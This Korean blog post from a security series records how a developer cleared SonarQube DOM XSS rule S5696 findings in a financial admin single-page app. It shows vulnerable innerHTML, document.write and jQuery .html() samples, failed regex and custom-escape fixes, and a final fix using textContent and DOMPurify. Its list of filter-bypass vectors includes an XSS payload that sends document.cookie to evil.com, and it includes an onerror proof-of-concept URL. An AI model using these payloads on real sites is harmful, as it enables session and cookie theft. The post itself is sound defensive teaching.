SonarQube DOM XSS 룰 S5696 대응 과정을 기록한 글이다. 금융권 보안 정책상 실제 프로젝트 코드를 그대로 공개할 수 없어, 동일한 취약 패턴과 해결 흐름을 재현한 샘플로 대체했다. 클래스명·컴포넌트명·경로 같은 식별자는 가상이지만, SonarQube가 잡는 데이터 플로우와 통과 조건은 실제 환경과 같다.
📑 목차
JSP/Java 쪽 SonarQube XSS(S5131)를 정리하고 나서 이번엔 프론트엔드 모듈이 문제였다. 금융권 어드민 콘솔을 레거시 JSP에서 Vue SPA로 마이그레이션하는 작업이었는데, SonarQube 스캔을 돌리자마자 SonarQube DOM XSS 룰 S5696이 12건 떴다.
S5696은 “DOM updates should not lead to cross-site scripting (XSS) attacks”라는 메시지다. 대시보드 차트 위젯과 공지 배너, 계좌 요약 패널 같은 컴포넌트에서 API 응답을 그대로 innerHTML에 집어넣는 코드가 많았다. 서버에서 내려오는 데이터라 안전하다고 생각했던 거다. SonarQube는 그 생각을 신뢰하지 않는다.
12건을 고치는 데 4가지를 시도했다. 처음 두 시도는 명백히 틀렸고, 세 번째는 이유가 있어서 안 됐다. 최종 해결까지의 흐름을 기록한다.

어드민 SPA에서 발견된 패턴
12건을 분류하니 크게 세 패턴이었다.
패턴 1. innerHTML 직접 갱신
// DashboardWidget.js — 공지 배너 렌더링
async function renderNoticeBanner() {
const res = await fetch('/api/admin/notice/latest');
const data = await res.json();
// S5696 — DOM updates should not lead to XSS
document.getElementById('notice-banner').innerHTML = data.content;
}
API 응답의 data.content가 어드민이 입력한 공지 내용인데, 그 안에 HTML 마크업이 들어갈 수 있다. 어드민이 <b>긴급</b> 같은 태그를 직접 쓰는 구조였다. SonarQube DOM XSS 분석기는 fetch 응답 → innerHTML로 흘러가는 경로를 잡는다.
패턴 2. document.write에 URL 파라미터
// 레거시 팝업 모듈 (Vue 마이그레이션 미완성 부분)
function renderLegacyPopup() {
const msg = new URLSearchParams(location.search).get('msg');
document.write('<div class="popup-msg">' + msg + '</div>');
}
location.search에서 직접 값을 꺼내 document.write에 넣는다. URL에 ?msg=<img src=x onerror=alert(1)>를 넣으면 즉시 실행된다. S5696이 이 케이스도 잡는다.
패턴 3. jQuery .html() 사용
// AccountSummaryPanel.js
function updateAccountLabel(accountData) {
const label = accountData.nickname || accountData.accountNumber;
// S5696 — jQuery .html()은 innerHTML과 동일하게 취급
$('#account-label').html(label);
}
jQuery의 .html()은 내부적으로 innerHTML을 쓴다. SonarQube는 jQuery API도 추적한다.
시도 1. 정규식으로 script 태그 제거 — 실패
처음 든 생각은 “script 태그만 걷어내면 되지 않나”였다.
// 시도 1 — 정규식으로 script 제거
function renderNoticeBanner() {
const raw = data.content;
const sanitized = raw.replace(/<script[\s\S]*?\/script>/gi, '');
document.getElementById('notice-banner').innerHTML = sanitized;
}
S5696은 그대로다. 당연하다. <script> 제거로 막을 수 없는 공격 벡터가 너무 많다.
<img src=x onerror="alert(document.cookie)"><svg onload="fetch('https://evil.com?c='+document.cookie)"><a href="javascript:void(eval(atob('...')))">클릭</a><details open ontoggle="maliciousCode()">
이런 우회 벡터는 끝이 없다. SonarQube DOM XSS 룰은 단순 정규식 필터를 sanitizer로 인정하지 않는다. 알려진 라이브러리가 끼지 않으면 흐름이 그대로 살아있다고 판단한다. 30분 날린 거다.
시도 2. textContent 전환 — 통과, 단 조건부
innerHTML 대신 textContent를 쓰면 HTML 파싱 자체를 하지 않는다.
// 시도 2 — textContent 전환
function updateAccountLabel(accountData) {
const label = accountData.nickname || accountData.accountNumber;
// innerHTML → textContent 전환
document.getElementById('account-label').textContent = label;
// jQuery 사용처: $('#account-label').text(label);
}
S5696이 사라진다. SonarQube는 textContent와 innerText를 안전한 것으로 판단한다. HTML 마크업이 텍스트로 그대로 노출될 뿐, 실행되지 않는다.
문제는 textContent로 전환할 수 없는 케이스가 있다는 거다. 공지 배너에서 어드민이 <b>긴급</b>, <a href="..."> 같은 태그를 의도적으로 쓰는 경우다. textContent로 바꾸면 태그가 그대로 화면에 문자열로 출력된다. 12건 중 7건은 textContent로 해결됐지만 나머지 5건은 HTML 렌더링이 필요했다.
시도 3. 자체 escape 함수 — 실패
S5131 Reflected XSS 때도 비슷한 시도를 했는데, DOM 쪽에서도 같은 방식으로 접근했다.
// 시도 3 — 자체 escape 함수
function escapeHtml(str) {
const div = document.createElement('div');
div.appendChild(document.createTextNode(str));
return div.innerHTML;
}
function renderNoticeBanner(content) {
const escaped = escapeHtml(content);
document.getElementById('notice-banner').innerHTML = escaped;
}
createTextNode를 이용한 방식이라 HTML 엔티티 변환은 브라우저가 처리한다. 로직적으로는 맞는 escape다. 그런데 S5696은 사라지지 않는다.
이유는 두 가지다.
- SonarQube의 taint analysis는
escapeHtml의 구현이 안전한지 내부를 분석하지 않는다. 알려진 sanitizer 함수(DOMPurify, sanitize-html 같은 라이브러리 함수)가 아니면 untrusted 상태를 그대로 전달하는 것으로 간주한다. - 설령 통과됐더라도, 이 escape 방식은 HTML을 완전히 텍스트로 바꾸므로 어드민이 의도한 마크업도 전부 노출된다 —
textContent와 결과가 같다. HTML 렌더링이 필요한 케이스에는 쓸 수 없다.
자체 구현 sanitizer는 SonarQube DOM XSS 룰을 통과시키지 못한다. Command Injection(S2076)에서도 자체 필터가 인정 안 됐던 것과 같은 이유다 — Sonar는 알려진 라이브러리 호출만 믿는다.
최종 해결 — DOMPurify + 제어 매핑
HTML 렌더링이 필요한 5건은 DOMPurify로 해결했다. HTML 렌더링이 필요 없는 7건은 textContent로 이미 처리됐으니, 최종 전략은 두 갈래로 나뉜다.
전략 A — HTML 렌더링 불필요: textContent
// AccountSummaryPanel.js — 계좌 별칭, 숫자 데이터
function updateAccountLabel(accountData) {
const label = accountData.nickname || accountData.accountNumber;
document.getElementById('account-label').textContent = label;
}
// jQuery 사용처
function updateStatusBadge(status) {
$('#status-badge').text(status); // .text() = textContent 래퍼
}
전략 B — HTML 렌더링 필요: DOMPurify
// package.json에 추가
// "dompurify": "^3.2.4"
import DOMPurify from 'dompurify';
// DashboardWidget.js — 공지 배너 (어드민이 HTML 마크업 입력 가능)
async function renderNoticeBanner() {
const res = await fetch('/api/admin/notice/latest');
const data = await res.json();
// DOMPurify.sanitize — SonarQube가 인식하는 sanitizer
const clean = DOMPurify.sanitize(data.content);
document.getElementById('notice-banner').innerHTML = clean;
}
// 허용 태그를 제한할 때 (어드민 공지라 bold/anchor만 허용)
const NOTICE_CONFIG = {
ALLOWED_TAGS: ['b', 'strong', 'a', 'br', 'p'],
ALLOWED_ATTR: ['href', 'target'],
};
function renderNoticeWithConfig(content) {
const clean = DOMPurify.sanitize(content, NOTICE_CONFIG);
document.getElementById('notice-banner').innerHTML = clean;
}
패턴 2. document.write 제거
// 레거시 팝업 — document.write 자체를 제거하고 DOM 조작으로 교체
function renderLegacyPopup() {
const msg = new URLSearchParams(location.search).get('msg') || '';
// document.write 제거 + DOMPurify 적용
const container = document.createElement('div');
container.className = 'popup-msg';
container.innerHTML = DOMPurify.sanitize(msg);
document.body.appendChild(container);
}
document.write는 DOM XSS뿐 아니라 성능 문제(렌더 블로킹)도 있어서 어차피 제거 대상이었다. 이참에 같이 정리했다.
SonarQube 통과 조건 정리
- textContent / innerText — HTML 파싱 없음, SonarQube가 안전으로 판단
- DOMPurify.sanitize() — SonarQube가 알려진 sanitizer로 인식해 taint 체인 종료
- createElement + appendChild — 문자열 기반 HTML 합치기를 피하면 S5696 미발생
- document.write 금지 — 사실상 모든 SPA 환경에서 쓸 이유가 없다
DOMPurify를 도입하니 12건이 전부 사라졌다. 검증 시간 포함해서 반나절이 걸렸다. 처음부터 textContent/DOMPurify 방향으로 접근했으면 1시간이면 됐을 거다.
정리
SonarQube DOM XSS(S5696)의 본질은 untrusted 데이터가 innerHTML, document.write, jQuery .html() 같은 HTML 실행 경로로 흘러드는 것이다. 자체 정규식 필터나 escape 함수는 아무 의미가 없다 — Sonar는 알려진 라이브러리 호출만 신뢰한다. HTML 렌더링이 불필요하면 textContent로 전환하고, 필요하면 DOMPurify로 정제한 뒤 넣는 게 전부다.
이 시리즈는 S5131 Reflected XSS, S3649 SQL Injection, S2755 XXE 등을 거쳐 왔다. 다음 편에서는 SonarQube eval Injection(S1523)을 다룬다. 사내 어드민 SPA의 사용자 정의 수식 계산 기능에서 eval(userInput)이 그대로 살아 있는 걸 발견한 케이스다.
룰 본문은 SonarSource 공식 룰 페이지(S5696)에서 확인할 수 있다.